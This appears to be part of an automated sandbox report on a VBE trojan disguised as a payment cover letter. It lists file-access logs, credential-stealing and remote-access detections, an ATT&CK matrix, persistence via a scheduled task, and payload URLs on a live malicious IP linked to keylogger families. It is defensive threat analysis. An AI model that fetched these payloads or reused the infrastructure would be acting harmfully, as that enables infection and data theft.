Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 5.2.AddInProcess32.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.db0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2428546911.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2428974827.0000000001710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 5.2.AddInProcess32.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.db0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2428546911.0000000000DB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2428974827.0000000001710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	1 Windows Management Instrumentation	211 Scripting	311 Process Injection	1 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
01_COVER_LETTER_-_FOR_E_PAYMENT.vbe	13%	ReversingLabs	Script-WScript.Trojan.Generic

Source	Detection	Scanner	Label
http://schemas.m	0%	URL Reputation	safe
http://144.91.79.54/2508/file140B807A6BN	0%	Avira URL Cloud	safe
http://144.91.79.54:80/2508/s	0%	Avira URL Cloud	safe
http://144.91.79.54/2508/file53C7849C57	0%	Avira URL Cloud	safe
http://144.91.79.54/ll	0%	Avira URL Cloud	safe
http://144.91.79.54/	0%	Avira URL Cloud	safe
http://144.91.79.54/2508/v75	0%	Avira URL Cloud	safe
http://144.91.79.54/2508/u9icZZB5Fm5owWojnw5Q.txt	0%	Avira URL Cloud	safe
http://144.91.79.54/2508/file	0%	Avira URL Cloud	safe
http://144.91.79.54/c	0%	Avira URL Cloud	safe
http://144.91.79.54/2508/v	0%	Avira URL Cloud	safe
http://144.91.79.54/2508/r	0%	Avira URL Cloud	safe
http://144.91.79.54/2508/s	0%	Avira URL Cloud	safe
http://144.91.79.54:80/2508/fileJb	0%	Avira URL Cloud	safe
http://144.91.79.54/2508/stem	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://144.91.79.54/2508/file140B807A6BN	wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168475689.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/2508/file53C7849C57	wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168475689.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/ll	wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142958351.0000021315A35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142939052.0000021315A2B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2149023769.0000021315A2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157529486.0000021315A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168475689.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157462766.0000021315A2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157545405.0000021315A35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2149037908.0000021315A2F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.m	wscript.exe, 00000000.00000003.2167136542.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168475689.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://144.91.79.54/2508/file	wscript.exe, 00000000.00000003.2165501956.000002131774A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163830069.0000021315A96000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168732062.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166376752.0000021317D42000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A25000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167359857.0000021315AAD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163901569.0000021315AAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/c	wscript.exe, 00000000.00000003.2142682570.0000021315A72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/2508/v75	wscript.exe, 00000000.00000003.2166395633.00000213179D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/	wscript.exe, 00000000.00000003.2142682570.0000021315A72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/2508/u9icZZB5Fm5owWojnw5Q.txt	wscript.exe, 00000000.00000003.2157529486.0000021315A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157462766.0000021315A2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157545405.0000021315A35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2157481785.0000021315A56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54:80/2508/s	wscript.exe, 00000000.00000003.2165581468.0000021315A0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166759289.0000021315A16000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166051740.0000021315A15000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165814195.0000021315A10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168457150.0000021315A16000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167235585.0000021315A16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/2508/v	wscript.exe, 00000000.00000003.2165519546.0000021315958000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2167970238.0000007E5A0F2000.00000004.00000010.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166630724.0000021315959000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158967775.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167561687.0000021315AAE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165501956.000002131774A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163830069.0000021315A96000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158967775.0000021317748000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167359857.0000021315AAD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2163901569.0000021315AAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/2508/stem	wscript.exe, 00000000.00000003.2148962279.0000021315A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142780136.0000021315A3E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54:80/2508/fileJb	wscript.exe, 00000000.00000003.2163847317.0000021315A84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168596475.0000021315A84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/2508/r	wscript.exe, 00000000.00000003.2158218358.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166607159.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158078701.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158967775.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158910701.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165501956.000002131774A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168732062.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166276434.00000213179D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158858187.000002131774C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.91.79.54/2508/s	wscript.exe, 00000000.00000003.2158218358.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166607159.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158078701.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2148962279.0000021315A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158967775.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158910701.000002131774C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165501956.000002131774A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2168732062.0000021317750000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142682570.0000021315A72000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2142780136.0000021315A3E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166276434.00000213179D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2158858187.000002131774C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
144.91.79.54	unknown	Germany		51167	CONTABODE	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1501321
Start date and time:	2024-08-29 18:36:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	01_COVER_LETTER_-_FOR_E_PAYMENT.vbe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBE@72/83@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 18 Number of non-executed functions: 322
Cookbook Comments:	Found application associated with file extension: .vbe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 52.182.143.212, 20.189.173.22, 20.189.173.20, 20.42.65.92, 13.89.179.12, 20.189.173.21
Excluded domains from analysis (whitelisted): client.wns.windows.com, slscr.update.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 01_COVER_LETTER_-_FOR_E_PAYMENT.vbe

Simulations

Behavior and APIs

Time	Type	Description
12:36:57	API Interceptor	10x Sleep call for process: wscript.exe modified
12:37:05	API Interceptor	335x Sleep call for process: powershell.exe modified
12:37:11	API Interceptor	10x Sleep call for process: wermgr.exe modified
12:37:23	API Interceptor	27x Sleep call for process: AddInProcess32.exe modified
18:37:01	Task Scheduler	Run new task: mBUojysElnsNYdM path: C:\Users\user\AppData\Roaming\mBUojysElnsNYdM.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
144.91.79.54	DETAILING_INFO_0321.vbe	Get hash	malicious	Snake Keylogger	Browse	144.91.79.54/2508/file
	doc1.exe	Get hash	malicious	Clipboard Hijacker, Snake Keylogger	Browse	144.91.79.54/2508/file
	Reservations_00206.vbe	Get hash	malicious	AgentTesla	Browse	144.91.79.54/2108/file

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CONTABODE	SHIPMENT_DOCMSS24071327.exe	Get hash	malicious	GuLoader	Browse	95.111.243.74
	http://control.frilix.com/grace/fxc/aW5mby5jcmVkaXRldXJlbkBicmVkYS5ubA==	Get hash	malicious	HTMLPhisher	Browse	173.212.217.246
	rSHIPMENT_DOCMSS24071327.exe	Get hash	malicious	FormBook, GuLoader	Browse	95.111.243.74
	rARKMONEY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	164.68.127.9
	(No subject) (63).eml	Get hash	malicious	HTMLPhisher	Browse	167.86.102.97
	DETAILING_INFO_0321.vbe	Get hash	malicious	Snake Keylogger	Browse	144.91.79.54
	doc1.exe	Get hash	malicious	Clipboard Hijacker, Snake Keylogger	Browse	144.91.79.54
	Inv-Info98.htm	Get hash	malicious	HTMLPhisher	Browse	62.171.141.146
